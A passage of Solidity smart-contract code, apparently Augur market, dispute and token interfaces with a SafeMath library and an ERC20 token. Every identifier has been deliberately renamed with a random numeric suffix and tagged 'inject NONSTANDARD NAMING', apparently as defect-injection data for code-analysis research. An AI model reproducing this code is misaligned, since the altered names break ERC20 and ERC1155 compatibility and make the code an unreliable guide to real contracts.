function ONYESNOMARKETCREATED215(uint256 _endTime, string memory _extraInfo, IMarket _market, address _marketCreator, address _designatedReporter, uint256 _feePerCashInAttoCash) public returns (bool); //inject NONSTANDARD NAMING
function ONSCALARMARKETCREATED844(uint256 _endTime, string memory _extraInfo, IMarket _market, address _marketCreator, address _designatedReporter, uint256 _feePerCashInAttoCash, int256[] memory _prices, uint256 _numTicks) public returns (bool); //inject NONSTANDARD NAMING
function LOGINITIALREPORTSUBMITTED874(IUniverse _universe, address _reporter, address _market, address _initialReporter, uint256 _amountStaked, bool _isDesignatedReporter, uint256[] memory _payoutNumerators, string memory _description, uint256 _nextWindowStartTime, uint256 _nextWindowEndTime) public returns (bool); //inject NONSTANDARD NAMING
function DISPUTECROWDSOURCERCREATED646(IUniverse _universe, address _market, address _disputeCrowdsourcer, uint256[] memory _payoutNumerators, uint256 _size, uint256 _disputeRound) public returns (bool); //inject NONSTANDARD NAMING
function LOGDISPUTECROWDSOURCERCONTRIBUTION255(IUniverse _universe, address _reporter, address _market, address _disputeCrowdsourcer, uint256 _amountStaked, string memory description, uint256[] memory _payoutNumerators, uint256 _currentStake, uint256 _stakeRemaining, uint256 _disputeRound) public returns (bool); //inject NONSTANDARD NAMING
function LOGDISPUTECROWDSOURCERCOMPLETED546(IUniverse _universe, address _market, address _disputeCrowdsourcer, uint256[] memory _payoutNumerators, uint256 _nextWindowStartTime, uint256 _nextWindowEndTime, bool _pacingOn, uint256 _totalRepStakedInPayout, uint256 _totalRepStakedInMarket, uint256 _disputeRound) public returns (bool); //inject NONSTANDARD NAMING
function LOGINITIALREPORTERREDEEMED338(IUniverse _universe, address _reporter, address _market, uint256 _amountRedeemed, uint256 _repReceived, uint256[] memory _payoutNumerators) public returns (bool); //inject NONSTANDARD NAMING
function LOGDISPUTECROWDSOURCERREDEEMED9(IUniverse _universe, address _reporter, address _market, uint256 _amountRedeemed, uint256 _repReceived, uint256[] memory _payoutNumerators) public returns (bool); //inject NONSTANDARD NAMING
function LOGMARKETFINALIZED368(IUniverse _universe, uint256[] memory _winningPayoutNumerators) public returns (bool); //inject NONSTANDARD NAMING
function LOGMARKETMIGRATED444(IMarket _market, IUniverse _originalUniverse) public returns (bool); //inject NONSTANDARD NAMING
function LOGREPORTINGPARTICIPANTDISAVOWED43(IUniverse _universe, IMarket _market) public returns (bool); //inject NONSTANDARD NAMING
function LOGMARKETPARTICIPANTSDISAVOWED537(IUniverse _universe) public returns (bool); //inject NONSTANDARD NAMING
function LOGCOMPLETESETSPURCHASED486(IUniverse _universe, IMarket _market, address _account, uint256 _numCompleteSets) public returns (bool); //inject NONSTANDARD NAMING
function LOGCOMPLETESETSSOLD144(IUniverse _universe, IMarket _market, address _account, uint256 _numCompleteSets, uint256 _fees) public returns (bool); //inject NONSTANDARD NAMING
function LOGMARKETOICHANGED928(IUniverse _universe, IMarket _market) public returns (bool); //inject NONSTANDARD NAMING
function LOGTRADINGPROCEEDSCLAIMED757(IUniverse _universe, address _sender, address _market, uint256 _outcome, uint256 _numShares, uint256 _numPayoutTokens, uint256 _fees) public returns (bool); //inject NONSTANDARD NAMING
function LOGUNIVERSEFORKED116(IMarket _forkingMarket) public returns (bool); //inject NONSTANDARD NAMING
function LOGREPUTATIONTOKENSTRANSFERRED904(IUniverse _universe, address _from, address _to, uint256 _value, uint256 _fromBalance, uint256 _toBalance) public returns (bool); //inject NONSTANDARD NAMING
function LOGREPUTATIONTOKENSBURNED995(IUniverse _universe, address _target, uint256 _amount, uint256 _totalSupply, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING
function LOGREPUTATIONTOKENSMINTED985(IUniverse _universe, address _target, uint256 _amount, uint256 _totalSupply, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING
function LOGSHARETOKENSBALANCECHANGED123(address _account, IMarket _market, uint256 _outcome, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING
function LOGDISPUTECROWDSOURCERTOKENSTRANSFERRED932(IUniverse _universe, address _from, address _to, uint256 _value, uint256 _fromBalance, uint256 _toBalance) public returns (bool); //inject NONSTANDARD NAMING
function LOGDISPUTECROWDSOURCERTOKENSBURNED518(IUniverse _universe, address _target, uint256 _amount, uint256 _totalSupply, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING
function LOGDISPUTECROWDSOURCERTOKENSMINTED48(IUniverse _universe, address _target, uint256 _amount, uint256 _totalSupply, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING
function LOGDISPUTEWINDOWCREATED79(IDisputeWindow _disputeWindow, uint256 _id, bool _initial) public returns (bool); //inject NONSTANDARD NAMING
function LOGPARTICIPATIONTOKENSREDEEMED534(IUniverse universe, address _sender, uint256 _attoParticipationTokens, uint256 _feePayoutShare) public returns (bool); //inject NONSTANDARD NAMING
function LOGTIMESTAMPSET762(uint256 _newTimestamp) public returns (bool); //inject NONSTANDARD NAMING
function LOGINITIALREPORTERTRANSFERRED573(IUniverse _universe, IMarket _market, address _from, address _to) public returns (bool); //inject NONSTANDARD NAMING
function LOGMARKETTRANSFERRED247(IUniverse _universe, address _from, address _to) public returns (bool); //inject NONSTANDARD NAMING
function LOGPARTICIPATIONTOKENSTRANSFERRED386(IUniverse _universe, address _from, address _to, uint256 _value, uint256 _fromBalance, uint256 _toBalance) public returns (bool); //inject NONSTANDARD NAMING
function LOGPARTICIPATIONTOKENSBURNED957(IUniverse _universe, address _target, uint256 _amount, uint256 _totalSupply, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING
function LOGPARTICIPATIONTOKENSMINTED248(IUniverse _universe, address _target, uint256 _amount, uint256 _totalSupply, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING
function LOGMARKETREPBONDTRANSFERRED31(address _universe, address _from, address _to) public returns (bool); //inject NONSTANDARD NAMING
function LOGWARPSYNCDATAUPDATED845(address _universe, uint256 _warpSyncHash, uint256 _marketEndTime) public returns (bool); //inject NONSTANDARD NAMING
function ISKNOWNFEESENDER211(address _feeSender) public view returns (bool); //inject NONSTANDARD NAMING
function LOOKUP594(bytes32 _key) public view returns (address); //inject NONSTANDARD NAMING
function GETTIMESTAMP626() public view returns (uint256); //inject NONSTANDARD NAMING
function GETMAXIMUMMARKETENDDATE626() public returns (uint256); //inject NONSTANDARD NAMING
function ISKNOWNMARKET166(IMarket _market) public view returns (bool); //inject NONSTANDARD NAMING
function DERIVEPAYOUTDISTRIBUTIONHASH812(uint256[] memory _payoutNumerators, uint256 _numTicks, uint256 numOutcomes) public view returns (bytes32); //inject NONSTANDARD NAMING
function LOGVALIDITYBONDCHANGED992(uint256 _validityBond) public returns (bool); //inject NONSTANDARD NAMING
function LOGDESIGNATEDREPORTSTAKECHANGED748(uint256 _designatedReportStake) public returns (bool); //inject NONSTANDARD NAMING
function LOGNOSHOWBONDCHANGED254(uint256 _noShowBond) public returns (bool); //inject NONSTANDARD NAMING
function LOGREPORTINGFEECHANGED596(uint256 _reportingFee) public returns (bool); //inject NONSTANDARD NAMING
function GETUNIVERSEFORKINDEX548(IUniverse _universe) public view returns (uint256); //inject NONSTANDARD NAMING
}
contract IOwnable {
function GETOWNER826() public view returns (address); //inject NONSTANDARD NAMING
function TRANSFEROWNERSHIP284(address _newOwner) public returns (bool); //inject NONSTANDARD NAMING
}
contract ITyped {
function GETTYPENAME153() public view returns (bytes32); //inject NONSTANDARD NAMING
}
library SafeMathUint256 {
function MUL760(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function DIV647(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function SUB692(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a);
return a - b;
}
function ADD571(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a);
return c;
}
function MIN885(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
if (a <= b) {
return a;
} else {
return b;
}
}
function MAX990(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
if (a >= b) {
return a;
} else {
return b;
}
}
function SQRT858(uint256 y) internal pure returns (uint256 z) { //inject NONSTANDARD NAMING
if (y > 3) {
uint256 x = (y + 1) / 2;
z = y;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
function GETUINT256MIN331() internal pure returns (uint256) { //inject NONSTANDARD NAMING
return 0;
}
function GETUINT256MAX467() internal pure returns (uint256) { //inject NONSTANDARD NAMING
// 2 ** 256 - 1
return 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
}
function ISMULTIPLEOF540(uint256 a, uint256 b) internal pure returns (bool) { //inject NONSTANDARD NAMING
return a % b == 0;
}
// Float [fixed point] Operations
function FXPMUL102(uint256 a, uint256 b, uint256 base) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV647(MUL760(a, b), base);
}
function FXPDIV922(uint256 a, uint256 b, uint256 base) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV647(MUL760(a, base), b);
}
}
interface IERC1155 {
event TRANSFERSINGLE49( //inject NONSTANDARD NAMING
address indexed operator,
address indexed from,
address indexed to,
uint256 id,
uint256 value
);
event TRANSFERBATCH882( //inject NONSTANDARD NAMING
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
event APPROVALFORALL731( //inject NONSTANDARD NAMING
address indexed owner,
address indexed operator,
bool approved
);
event URI998( //inject NONSTANDARD NAMING
string value,
uint256 indexed id
);
function SAFETRANSFERFROM689( //inject NONSTANDARD NAMING
address from,
address to,
uint256 id,
uint256 value,
bytes calldata data
)
external;
function SAFEBATCHTRANSFERFROM779( //inject NONSTANDARD NAMING
address from,
address to,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external;
function SETAPPROVALFORALL494(address operator, bool approved) external; //inject NONSTANDARD NAMING
function ISAPPROVEDFORALL901(address owner, address operator) external view returns (bool); //inject NONSTANDARD NAMING
function BALANCEOF492(address owner, uint256 id) external view returns (uint256); //inject NONSTANDARD NAMING
function TOTALSUPPLY304(uint256 id) external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOFBATCH918( //inject NONSTANDARD NAMING
address[] calldata owners,
uint256[] calldata ids
)
external
view
returns (uint256[] memory balances_);
}
contract IERC20 {
function TOTALSUPPLY304() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF492(address owner) public view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER644(address to, uint256 amount) public returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM669(address from, address to, uint256 amount) public returns (bool); //inject NONSTANDARD NAMING
function APPROVE293(address spender, uint256 amount) public returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE377(address owner, address spender) public view returns (uint256); //inject NONSTANDARD NAMING
// solhint-disable-next-line no-simple-event-func-name
event TRANSFER723(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL665(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
contract ICash is IERC20 {
}
contract ERC20 is IERC20 {
using SafeMathUint256 for uint256;
uint8 constant public decimals866 = 18; //inject NONSTANDARD NAMING
uint256 public totalSupply;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowances;
function BALANCEOF492(address _account) public view returns (uint256) { //inject NONSTANDARD NAMING
return balances[_account];
}
function TRANSFER644(address _recipient, uint256 _amount) public returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER433(msg.sender, _recipient, _amount);
return true;
}
function ALLOWANCE377(address _owner, address _spender) public view returns (uint256) { //inject NONSTANDARD NAMING
return allowances[_owner][_spender];
}
function APPROVE293(address _spender, uint256 _amount) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE571(msg.sender, _spender, _amount);
return true;
}
function TRANSFERFROM669(address _sender, address _recipient, uint256 _amount) public returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER433(_sender, _recipient, _amount);
_APPROVE571(_sender, msg.sender, allowances[_sender][msg.sender].SUB692(_amount));
return true;
}
function INCREASEALLOWANCE307(address _spender, uint256 _addedValue) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE571(msg.sender, _spender, allowances[msg.sender][_spender].ADD571(_addedValue));
return true;
}
function DECREASEALLOWANCE757(address _spender, uint256 _subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE571(msg.sender, _spender, allowances[msg.sender][_spender].SUB692(_subtractedValue));
return true;
}
function _TRANSFER433(address _sender, address _recipient, uint256 _amount) internal { //inject NONSTANDARD NAMING
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_recipient != address(0), "ERC20: transfer to the zero address");
balances[_sender] = balances[_sender].SUB692(_amount);
balances[_recipient] = balances[_recipient].ADD571(_amount);
emit TRANSFER723(_sender, _recipient, _amount);
ONTOKENTRANSFER292(_sender, _recipient, _amount);
}
function _MINT880(address _account, uint256 _amount) internal { //inject NONSTANDARD NAMING
require(_account != address(0), "ERC20: mint to the zero address");
totalSupply = totalSupply.ADD571(_amount);
balances[_account] = balances[_account].ADD571(_amount);
emit TRANSFER723(address(0), _account, _amount);
}
function _BURN356(address _account, uint256 _amount) internal { //inject NONSTANDARD NAMING
require(_account != address(0), "ERC20: burn from the zero address");
balances[_account] = balances[_account].SUB692(_amount);
totalSupply = totalSupply.SUB692(_amount);
emit TRANSFER723(_account, address(0), _amount);
}
function _APPROVE571(address _owner, address _spender, uint256 _amount) internal { //inject NONSTANDARD NAMING
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
allowances[_owner][_spender] = _amount;
emit APPROVAL665(_owner, _spender, _amount);
}
function _BURNFROM317(address _account, uint256 _amount) internal { //inject NONSTANDARD NAMING
_BURN356(_account, _amount);
_APPROVE571(_account, msg.sender, allowances[_account][msg.sender].SUB692(_amount));
}
// Subclasses of this token generally want to send additional logs through the centralized Augur log emitter contract
function ONTOKENTRANSFER292(address _from, address _to, uint256 _value) internal; //inject NONSTANDARD NAMING
}
contract VariableSupplyToken is ERC20 {
using SafeMathUint256 for uint256;
function MINT146(address _target, uint256 _amount) internal returns (bool) { //inject NONSTANDARD NAMING
_MINT880(_target, _amount);
ONMINT315(_target, _amount);
return true;
}
function BURN234(address _target, uint256 _amount) internal returns (bool) { //inject NONSTANDARD NAMING
_BURN356(_target, _amount);
ONBURN653(_target, _amount);
return true;
}
// Subclasses of this token may want to send additional logs through the centralized Augur log emitter contract
function ONMINT315(address, uint256) internal { //inject NONSTANDARD NAMING
}
// Subclasses of this token may want to send additional logs through the centralized Augur log emitter contract
function ONBURN653(address, uint256) internal { //inject NONSTANDARD NAMING
}
}
contract IAffiliateValidator {
function VALIDATEREFERENCE609(address _account, address _referrer) external view returns (bool); //inject NONSTANDARD NAMING
}
contract IDisputeWindow is ITyped, IERC20 {
function INVALIDMARKETSTOTAL511() external view returns (uint256); //inject NONSTANDARD NAMING
function VALIDITYBONDTOTAL28() external view returns (uint256); //inject NONSTANDARD NAMING
function INCORRECTDESIGNATEDREPORTTOTAL522() external view returns (uint256); //inject NONSTANDARD NAMING
function INITIALREPORTBONDTOTAL695() external view returns (uint256); //inject NONSTANDARD NAMING
function DESIGNATEDREPORTNOSHOWSTOTAL443() external view returns (uint256); //inject NONSTANDARD NAMING
function DESIGNATEDREPORTERNOSHOWBONDTOTAL703() external view returns (uint256); //inject NONSTANDARD NAMING
function INITIALIZE90(IAugur _augur, IUniverse _universe, uint256 _disputeWindowId, bool _participationTokensEnabled, uint256 _duration, uint256 _startTime) public; //inject NONSTANDARD NAMING
function TRUSTEDBUY954(address _buyer, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING
function GETUNIVERSE719() public view returns (IUniverse); //inject NONSTANDARD NAMING
function GETREPUTATIONTOKEN35() public view returns (IReputationToken); //inject NONSTANDARD NAMING
function GETSTARTTIME383() public view returns (uint256); //inject NONSTANDARD NAMING
function GETENDTIME626() public view returns (uint256); //inject NONSTANDARD NAMING
function GETWINDOWID901() public view returns (uint256); //inject NONSTANDARD NAMING
function ISACTIVE720() public view returns (bool); //inject NONSTANDARD NAMING
function ISOVER108() public view returns (bool); //inject NONSTANDARD NAMING
function ONMARKETFINALIZED596() public; //inject NONSTANDARD NAMING
function REDEEM559(address _account) public returns (bool); //inject NONSTANDARD NAMING
}
contract IMarket is IOwnable {
enum MarketType {
YES_NO,
CATEGORICAL,
SCALAR
}
function INITIALIZE90(IAugur _augur, IUniverse _universe, uint256 _endTime, uint256 _feePerCashInAttoCash, IAffiliateValidator _affiliateValidator, uint256 _affiliateFeeDivisor, address _designatedReporterAddress, address _creator, uint256 _numOutcomes, uint256 _numTicks) public; //inject NONSTANDARD NAMING
function DERIVEPAYOUTDISTRIBUTIONHASH812(uint256[] memory _payoutNumerators) public view returns (bytes32); //inject NONSTANDARD NAMING
function DOINITIALREPORT448(uint256[] memory _payoutNumerators, string memory _description, uint256 _additionalStake) public returns (bool); //inject NONSTANDARD NAMING
function GETUNIVERSE719() public view returns (IUniverse); //inject NONSTANDARD NAMING
function GETDISPUTEWINDOW804() public view returns (IDisputeWindow); //inject NONSTANDARD NAMING
function GETNUMBEROFOUTCOMES636() public view returns (uint256); //inject NONSTANDARD NAMING
function GETNUMTICKS752() public view returns (uint256); //inject NONSTANDARD NAMING
function GETMARKETCREATORSETTLEMENTFEEDIVISOR51() public view returns (uint256); //inject NONSTANDARD NAMING
function GETFORKINGMARKET637() public view returns (IMarket _market); //inject NONSTANDARD NAMING
function GETENDTIME626() public view returns (uint256); //inject NONSTANDARD NAMING
function GETWINNINGPAYOUTDISTRIBUTIONHASH916() public view returns (bytes32); //inject NONSTANDARD NAMING
function GETWINNINGPAYOUTNUMERATOR375(uint256 _outcome) public view returns (uint256); //inject NONSTANDARD NAMING
function GETWINNINGREPORTINGPARTICIPANT424() public view returns (IReportingParticipant); //inject NONSTANDARD NAMING
function GETREPUTATIONTOKEN35() public view returns (IV2ReputationToken); //inject NONSTANDARD NAMING
function GETFINALIZATIONTIME347() public view returns (uint256); //inject NONSTANDARD NAMING
function GETINITIALREPORTER212() public view returns (IInitialReporter); //inject NONSTANDARD NAMING
function GETDESIGNATEDREPORTINGENDTIME834() public view returns (uint256); //inject NONSTANDARD NAMING
function GETVALIDITYBONDATTOCASH123() public view returns (uint256); //inject NONSTANDARD NAMING
function AFFILIATEFEEDIVISOR322() external view returns (uint256); //inject NONSTANDARD NAMING
function GETNUMPARTICIPANTS137() public view returns (uint256); //inject NONSTANDARD NAMING
function GETDISPUTEPACINGON415() public view returns (bool); //inject NONSTANDARD NAMING
function DERIVEMARKETCREATORFEEAMOUNT558(uint256 _amount) public view returns (uint256); //inject NONSTANDARD NAMING
function RECORDMARKETCREATORFEES738(uint256 _marketCreatorFees, address _sourceAccount, bytes32 _fingerprint) public returns (bool); //inject NONSTANDARD NAMING
function ISCONTAINERFORREPORTINGPARTICIPANT696(IReportingParticipant _reportingParticipant) public view returns (bool); //inject NONSTANDARD NAMING
function ISFINALIZEDASINVALID362() public view returns (bool); //inject NONSTANDARD NAMING
function FINALIZE310() public returns (bool); //inject NONSTANDARD NAMING
function ISFINALIZED623() public view returns (bool); //inject NONSTANDARD NAMING
function GETOPENINTEREST251() public view returns (uint256); //inject NONSTANDARD NAMING
}
contract IReportingParticipant {
function GETSTAKE932() public view returns (uint256); //inject NONSTANDARD NAMING
function GETPAYOUTDISTRIBUTIONHASH1000() public view returns (bytes32); //inject NONSTANDARD NAMING
function LIQUIDATELOSING232() public; //inject NONSTANDARD NAMING
function REDEEM559(address _redeemer) public returns (bool); //inject NONSTANDARD NAMING
function ISDISAVOWED173() public view returns (bool); //inject NONSTANDARD NAMING
function GETPAYOUTNUMERATOR512(uint256 _outcome) public view returns (uint256); //inject NONSTANDARD NAMING
function GETPAYOUTNUMERATORS444() public view returns (uint256[] memory); //inject NONSTANDARD NAMING
function GETMARKET927() public view returns (IMarket); //inject NONSTANDARD NAMING
function GETSIZE85() public view returns (uint256); //inject NONSTANDARD NAMING
}
contract IDisputeCrowdsourcer is IReportingParticipant, IERC20 {
function INITIALIZE90(IAugur _augur, IMarket market, uint256 _size, bytes32 _payoutDistributionHash, uint256[] memory _payoutNumerators, uint256 _crowdsourcerGeneration) public; //inject NONSTANDARD NAMING
function CONTRIBUTE720(address _participant, uint256 _amount, bool _overload) public returns (uint256); //inject NONSTANDARD NAMING
function SETSIZE177(uint256 _size) public; //inject NONSTANDARD NAMING
function GETREMAININGTOFILL115() public view returns (uint256); //inject NONSTANDARD NAMING
function CORRECTSIZE807() public returns (bool); //inject NONSTANDARD NAMING
function GETCROWDSOURCERGENERATION652() public view returns (uint256); //inject NONSTANDARD NAMING
}
contract IInitialReporter is IReportingParticipant, IOwnable {
function INITIALIZE90(IAugur _augur, IMarket _market, address _designatedReporter) public; //inject NONSTANDARD NAMING
function REPORT291(address _reporter, bytes32 _payoutDistributionHash, uint256[] memory _payoutNumerators, uint256 _initialReportStake) public; //inject NONSTANDARD NAMING
function DESIGNATEDREPORTERSHOWED809() public view returns (bool); //inject NONSTANDARD NAMING
function INITIALREPORTERWASCORRECT338() public view returns (bool); //inject NONSTANDARD NAMING
function GETDESIGNATEDREPORTER404() public view returns (address); //inject NONSTANDARD NAMING
function GETREPORTTIMESTAMP304() public view returns (uint256); //inject NONSTANDARD NAMING
function MIGRATETONEWUNIVERSE701(address _designatedReporter) public; //inject NONSTANDARD NAMING
function RETURNREPFROMDISAVOW512() public; //inject NONSTANDARD NAMING
}
contract IReputationToken is IERC20 {
function MIGRATEOUTBYPAYOUT436(uint256[] memory _payoutNumerators, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING
function MIGRATEIN692(address _reporter, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING
function TRUSTEDREPORTINGPARTICIPANTTRANSFER10(address _source, address _destination, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING
function TRUSTEDMARKETTRANSFER61(address _source, address _destination, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING
function TRUSTEDUNIVERSETRANSFER148(address _source, address _destination, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING
function TRUSTEDDISPUTEWINDOWTRANSFER53(address _source, address _destination, uint256 _attotokens) public returns (bool); //inject NONSTANDARD NAMING
function GETUNIVERSE719() public view returns (IUniverse); //inject NONSTANDARD NAMING
function GETTOTALMIGRATED220() public view returns (uint256); //inject NONSTANDARD NAMING
function GETTOTALTHEORETICALSUPPLY552() public view returns (uint256); //inject NONSTANDARD NAMING
function MINTFORREPORTINGPARTICIPANT798(uint256 _amountMigrated) public returns (bool); //inject NONSTANDARD NAMING
}
contract IShareToken is ITyped, IERC1155 {
function INITIALIZE90(IAugur _augur) external; //inject NONSTANDARD NAMING
function INITIALIZEMARKET720(IMarket _market, uint256 _numOutcomes, uint256 _numTicks) public; //inject NONSTANDARD NAMING
function UNSAFETRANSFERFROM654(address _from, address _to, uint256 _id, uint256 _value) public; //inject NONSTANDARD NAMING
function UNSAFEBATCHTRANSFERFROM211(address _from, address _to, uint256[] memory _ids, uint256[] memory _values) public; //inject NONSTANDARD NAMING
function CLAIMTRADINGPROCEEDS854(IMarket _market, address _shareHolder, bytes32 _fingerprint) external returns (uint256[] memory _outcomeFees); //inject NONSTANDARD NAMING
function GETMARKET927(uint256 _tokenId) external view returns (IMarket); //inject NONSTANDARD NAMING
function GETOUTCOME167(uint256 _tokenId) external view returns (uint256); //inject NONSTANDARD NAMING
function GETTOKENID371(IMarket _market, uint256 _outcome) public pure returns (uint256 _tokenId); //inject NONSTANDARD NAMING
function GETTOKENIDS530(IMarket _market, uint256[] memory _outcomes) public pure returns (uint256[] memory _tokenIds); //inject NONSTANDARD NAMING
function BUYCOMPLETESETS983(IMarket _market, address _account, uint256 _amount) external returns (bool); //inject NONSTANDARD NAMING
function BUYCOMPLETESETSFORTRADE277(IMarket _market, uint256 _amount, uint256 _longOutcome, address _longRecipient, address _shortRecipient) external returns (bool); //inject NONSTANDARD NAMING
function SELLCOMPLETESETS485(IMarket _market, address _holder, address _recipient, uint256 _amount, bytes32 _fingerprint) external returns (uint256 _creatorFee, uint256 _reportingFee); //inject NONSTANDARD NAMING
function SELLCOMPLETESETSFORTRADE561(IMarket _market, uint256 _outcome, uint256 _amount, address _shortParticipant, address _longParticipant, address _shortRecipient, address _longRecipient, uint256 _price, address _sourceAccount, bytes32 _fingerprint) external returns (uint256 _creatorFee, uint256 _reportingFee); //inject NONSTANDARD NAMING
function TOTALSUPPLYFORMARKETOUTCOME526(IMarket _market, uint256 _outcome) public view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOFMARKETOUTCOME21(IMarket _market, uint256 _outcome, address _account) public view returns (uint256); //inject NONSTANDARD NAMING
function LOWESTBALANCEOFMARKETOUTCOMES298(IMarket _market, uint256[] memory _outcomes, address _account) public view returns (uint256); //inject NONSTANDARD NAMING
}
contract IUniverse {
function CREATIONTIME597() external view returns (uint256); //inject NONSTANDARD NAMING
function MARKETBALANCE692(address) external view returns (uint256); //inject NONSTANDARD NAMING
function FORK341() public returns (bool); //inject NONSTANDARD NAMING
function UPDATEFORKVALUES73() public returns (bool); //inject NONSTANDARD NAMING
function GETPARENTUNIVERSE169() public view returns (IUniverse); //inject NONSTANDARD NAMING
function CREATECHILDUNIVERSE712(uint256[] memory _parentPayoutNumerators) public returns (IUniverse); //inject NONSTANDARD NAMING
function GETCHILDUNIVERSE576(bytes32 _parentPayoutDistributionHash) public view returns (IUniverse); //inject NONSTANDARD NAMING
function GETREPUTATIONTOKEN35() public view returns (IV2ReputationToken); //inject NONSTANDARD NAMING
function GETFORKINGMARKET637() public view returns (IMarket); //inject NONSTANDARD NAMING
function GETFORKENDTIME510() public view returns (uint256); //inject NONSTANDARD NAMING
function GETFORKREPUTATIONGOAL776() public view returns (uint256); //inject NONSTANDARD NAMING
function GETPARENTPAYOUTDISTRIBUTIONHASH230() public view returns (bytes32); //inject NONSTANDARD NAMING
function GETDISPUTEROUNDDURATIONINSECONDS412(bool _initial) public view returns (uint256); //inject NONSTANDARD NAMING
function GETORCREATEDISPUTEWINDOWBYTIMESTAMP65(uint256 _timestamp, bool _initial) public returns (IDisputeWindow); //inject NONSTANDARD NAMING
function GETORCREATECURRENTDISPUTEWINDOW813(bool _initial) public returns (IDisputeWindow); //inject NONSTANDARD NAMING
function GETORCREATENEXTDISPUTEWINDOW682(bool _initial) public returns (IDisputeWindow); //inject NONSTANDARD NAMING
function GETORCREATEPREVIOUSDISPUTEWINDOW575(bool _initial) public returns (IDisputeWindow); //inject NONSTANDARD NAMING
function GETOPENINTERESTINATTOCASH866() public view returns (uint256); //inject NONSTANDARD NAMING
function GETTARGETREPMARKETCAPINATTOCASH438() public view returns (uint256); //inject NONSTANDARD NAMING
function GETORCACHEVALIDITYBOND873() public returns (uint256); //inject NONSTANDARD NAMING
function GETORCACHEDESIGNATEDREPORTSTAKE630() public returns (uint256); //inject NONSTANDARD NAMING
function GETORCACHEDESIGNATEDREPORTNOSHOWBOND936() public returns (uint256); //inject NONSTANDARD NAMING
function GETORCACHEMARKETREPBOND533() public returns (uint256); //inject NONSTANDARD NAMING
function GETORCACHEREPORTINGFEEDIVISOR44() public returns (uint256); //inject NONSTANDARD NAMING
function GETDISPUTETHRESHOLDFORFORK42() public view returns (uint256); //inject NONSTANDARD NAMING
function GETDISPUTETHRESHOLDFORDISPUTEPACING311() public view returns (uint256); //inject NONSTANDARD NAMING
function GETINITIALREPORTMINVALUE947() public view returns (uint256); //inject NONSTANDARD NAMING
function GETPAYOUTNUMERATORS444() public view returns (uint256[] memory); //inject NONSTANDARD NAMING
function GETREPORTINGFEEDIVISOR13() public view returns (uint256); //inject NONSTANDARD NAMING
function GETPAYOUTNUMERATOR512(uint256 _outcome) public view returns (uint256); //inject NONSTANDARD NAMING
function GETWINNINGCHILDPAYOUTNUMERATOR599(uint256 _outcome) public view returns (uint256); //inject NONSTANDARD NAMING
function ISOPENINTERESTCASH47(address) public view returns (bool); //inject NONSTANDARD NAMING
function ISFORKINGMARKET534() public view returns (bool); //inject NONSTANDARD NAMING
function GETCURRENTDISPUTEWINDOW862(bool _initial) public view returns (IDisputeWindow); //inject NONSTANDARD NAMING
function GETDISPUTEWINDOWSTARTTIMEANDDURATION802(uint256 _timestamp, bool _initial) public view returns (uint256, uint256); //inject NONSTANDARD NAMING
function ISPARENTOF319(IUniverse _shadyChild) public view returns (bool); //inject NONSTANDARD NAMING
function UPDATETENTATIVEWINNINGCHILDUNIVERSE89(bytes32 _parentPayoutDistributionHash) public returns (bool); //inject NONSTANDARD NAMING
function ISCONTAINERFORDISPUTEWINDOW320(IDisputeWindow _shadyTarget) public view returns (bool); //inject NONSTANDARD NAMING
function ISCONTAINERFORMARKET856(IMarket _shadyTarget) public view returns (bool); //inject NONSTANDARD NAMING
function ISCONTAINERFORREPORTINGPARTICIPANT696(IReportingParticipant _reportingParticipant) public view returns (bool); //inject NONSTANDARD NAMING
function MIGRATEMARKETOUT672(IUniverse _destinationUniverse) public returns (bool); //inject NONSTANDARD NAMING
